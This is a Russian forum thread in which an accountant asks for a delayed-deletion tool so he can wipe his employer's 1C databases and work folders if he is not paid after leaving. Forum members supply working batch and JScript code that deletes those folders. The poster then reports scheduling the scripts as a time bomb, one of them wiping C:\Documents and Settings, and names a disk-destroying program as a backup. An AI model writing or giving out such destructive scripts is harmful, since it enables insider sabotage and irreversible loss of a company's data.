day & night

Прога для удаления или сокрытия файлов и папок, Софт вопросы
Дата обновления: , перейти к новому сообщению
#1
romantik10



Бывалый
*

Группа: Пользователи
Сообщений: 20
Регистрация: 19.07.2007
Пользователь №: 437.479


Респектов: 0
----------


Предупреждений: 1


Доброго времени суток форумчане, маленькая предистория моей просьбы(поможет уточнить суть моего вопроса): Работаю главбухом в фирме занимающейся капитальным ремонтом зданий, при приеме на работу год назад, с шефом была оговорена среднегодовая зарплата, но в труддоговоре естессно указана среднеминимальная в рамере 10тыров, так ка бизнес зависит от сезонности он в нерабочие месяца с декабря по апрель платит минималку, а в сезон оговоренную при приеме сумму, ну и по завершению работ премию чтобы компенсировать предудущие неполные выплаты.
В данный момент мне предложили другую, более меня устраивающую работу, и я хочу подстраховаться от невыплаты оговоренной при приеме на работу суммы, а преценденты ужо такие были...
так вот прога нужна для удаления или блокирования доступа к базам 1С и просто рабочим папкам с файлами ЧЕРЕЗ ОПРЕДЕЛЕННОЕ ВРЕМЯ(неделю - месяц), оставим ему это время для проверки его порядочности wink.gif
User is offline
Go topGo end

Ответов(10 - 16)
30.11.2010 - 13:55
#11
romantik10



Бывалый
*

Группа: Пользователи
Сообщений: 20
Регистрация: 19.07.2007
Пользователь №: 437.479


Респектов: 0
----------


Предупреждений: 1


Цитата | Quote(middleman @ 26.11.2010 - 16:49)
А что его писать?
@echo off
cd x:\aaa\bbb\ccc
del /F /Q *.*
*


спасибо конечно,но так как я в программировании... ламер, а тут дело серьезное хотелось бы уточнить
если мне надо стереть две папки(База, Документы) на разных дисках (С, D) то код будет выглядеть следующим образом

@echo off
cd x:\aaa\bbb\ccc
del /F /Q C:\База
del /F /Q D:\Документы
exit
или я чет напутал?
User is offline
Go topGo end
30.11.2010 - 18:00
#12
middleman



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 3.366
Регистрация: 15.03.2005
Из: Украина, Харьков
Пользователь №: 8.829


Респектов: 744
-----XXXX-




@echo off
cd C:\База
del /F /Q *.*
cd D:\Документы
del /F /Q *.*

можно для начала потренироваться дома на киких-нибудь ненужных папках smile.gif
User is offline
Go topGo end
1.12.2010 - 0:14
#13
romantik10



Бывалый
*

Группа: Пользователи
Сообщений: 20
Регистрация: 19.07.2007
Пользователь №: 437.479


Респектов: 0
----------


Предупреждений: 1


Буду пробовать ... ка бы чего страшного не вышло.... blink.gif blink.gif ph34r.gif
User is offline
Go topGo end
7.12.2010 - 11:12
#14
romantik10



Бывалый
*

Группа: Пользователи
Сообщений: 20
Регистрация: 19.07.2007
Пользователь №: 437.479


Респектов: 0
----------


Предупреждений: 1


Попробовал, данный батник
@echo off
cd C:\База
del /F /Q *.*
cd D:\Документы
del /F /Q *.*
- стирает файлы той папки в которую помещен, т.е. удаление файлов в папках прописанных в батнике "База", "документы" не происходит
тема не раскрыта...
помогите, что нужно дописать чтобы хотя бы файлы в подпапках стирал, пизззз
User is offline
Go topGo end
7.12.2010 - 12:17
#15
middleman



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 3.366
Регистрация: 15.03.2005
Из: Украина, Харьков
Пользователь №: 8.829


Респектов: 744
-----XXXX-




Цитата | Quote
тема не раскрыта...
Вот ща влеплю кому-то преда до пары за хамство и падонкавский сленг и сразу раскроется.

А по теме:
Фаил должен быть сохранен в кодировке CP866 (Текст MS-DOS), а не win1251(текст windows) иначе русские пути не прочитаются. Именно поэтому вышеприведенный скрипт удалял фаилы в текущей папке. Команда CD просто не выполнялась получая в качестве параметра путь вида "C:\+рчр\" вместо "C:\База\"

А если нуно удалять с подкаталогами тогда так:
rundll32.exe advpack.dll,DelNodeRunDLL32 "C:\База"
но эту возможность не проверял и опять-же не забываем про кодировку. пробуйте.
User is offline
Go topGo end
7.12.2010 - 20:31
#16
Diplodok



Специалист
****

Группа: Пользователи
Сообщений: 312
Регистрация: 14.09.2009
Пользователь №: 1.509.611


Респектов: 51
-----X----


Предупреждений: 0


Цитата | Quote
@echo off
cd C:\База
del /F /Q *.*
cd D:\Документы
del /F /Q *.*

В данном написании стираться ничего не будет, т.к. команда "CD" предполагает переход в указанную директорию с более высокого уровня, но ведь текущая позиция может быть любой, например, "E:\aaa\bbb\ссс". Поэтому, батник должен быть таким:
@echo off
C:
cd C:\База
del /F /Q *.*
D:
cd D:\Документы
del /F /Q *.*

Для стирания СОДЕРЖИМОГО подкаталогов существует операнд /S
Но указанным батником стирается ТОЛЬКО СОДЕРЖИМОЕ папок, а не сами папки. Если же нужен полный ответ на вопрос, то пиши такой скрипт (файл с расширением .js):

var fso = new ActiveXObject("Scripting.FileSystemObject");
deleteFolder("C:\\База");
deleteFolder("D:\\Документы");
function deleteFolder(folderpath)
{
if (!fso.FolderExists(folderpath)) return 0;
fso.DeleteFolder(folderpath);
}
User is offline
Go topGo end
15.12.2010 - 15:33
#17
romantik10



Бывалый
*

Группа: Пользователи
Сообщений: 20
Регистрация: 19.07.2007
Пользователь №: 437.479


Респектов: 0
----------


Предупреждений: 1


Огромное спасибо откликнувшимся, итогом данной темы стало написание одного, и нахождение на просторах инета второго, батников и установкой их в планировщик заданий;
батник 1:

@echo off
C:
cd C:\Documents and Settings
del /F /Q /S *.*
D:
cd D:\Ѓ §л 1‘
del /F /Q /S *.*
ну и для подстраховки батник 2:

HARD DRIVE KILLER VERSION 3.0
код найдете в поисковике
wink.gif
User is offline
Go topGo end

Topic Options
Сейчас: 17.05.2024 - 8:53
Мобильная версия | Lite версия